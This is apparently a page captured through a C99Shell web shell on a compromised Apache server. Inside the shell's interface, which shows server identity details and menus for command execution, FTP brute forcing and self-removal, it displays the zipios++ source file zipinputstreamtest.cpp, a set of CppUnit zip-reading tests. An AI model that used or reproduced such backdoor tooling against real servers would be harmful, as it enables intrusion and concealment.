!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/libzipios++-doc/html/   drwxr-xr-x
Free 13.17 GB of 57.97 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     zipinputstreamtest_8cpp_source.html (11.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Zipios++: zipinputstreamtest.cpp Source File
Zipios++
zipinputstreamtest.cpp
1 #include <stdlib.h>
2 
3 #include "zipios++/zipios-config.h"
4 #include "zipios++/meta-iostreams.h"
5 
7 
8 #include "zipinputstreamtest.h"
9 
10 namespace zipios {
11 
12 const TestFiles ZipInputStreamTest::TEST_FILES;
13 
14 
15 void ZipInputStreamTest::testFirstMethod() {
16  CPPUNIT_FAIL( "Implement this" );
17 }
18 
19 void ZipInputStreamTest::testZipContents() {
20  ZipInputStream zis("test.zip");
21  int count(0);
22  while (zis.getNextEntry()->isValid())
23  count++;
24  CPPUNIT_ASSERT_EQUAL(4, count);
25 }
26 
27 void ZipInputStreamTest::testZipContentNames() {
28  vector<string> entries;
29  entries.push_back("file1.txt"); // got these from unzip -l test.zip
30  entries.push_back("file2.txt");
31  entries.push_back("file3.txt");
32  entries.push_back("testfile.bin");
33  ZipInputStream zis("test.zip");
34  ConstEntryPointer poi(zis.getNextEntry());
35  int count(0);
36  while( poi->isValid() ) {
37  CPPUNIT_ASSERT_EQUAL( entries[count], poi->getName() );
38  poi = zis.getNextEntry();
39  count++;
40  }
41 }
42 
43 void ZipInputStreamTest::testZipFileSizes() {
44  vector<uint32> entries;
45  entries.push_back(1327); // got these from unzip -l test.zip
46  entries.push_back(17992);
47  entries.push_back(8);
48  entries.push_back(76468);
49  ZipInputStream zis("test.zip");
50  ConstEntryPointer poi(zis.getNextEntry());
51  int count(0);
52  while( poi->isValid() ) {
53  CPPUNIT_ASSERT_EQUAL( entries[count], poi->getSize() );
54  poi = zis.getNextEntry();
55  count++;
56  }
57 }
58 
59 void ZipInputStreamTest::testDirectory() {
60  ZipInputStream zis("test.zip"); //only files in this
61  ConstEntryPointer poi(zis.getNextEntry());
62  while( poi->isValid() ) {
63  CPPUNIT_ASSERT_EQUAL( false, poi->isDirectory() );
64  poi = zis.getNextEntry();
65  }
66 }
67 
68 }
SimpleSmartPointer< const FileEntry > ConstEntryPointer
ConstEntryPointer is a SimpleSmartPointer for const FileEntry's.
Definition: fileentry.h:37

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--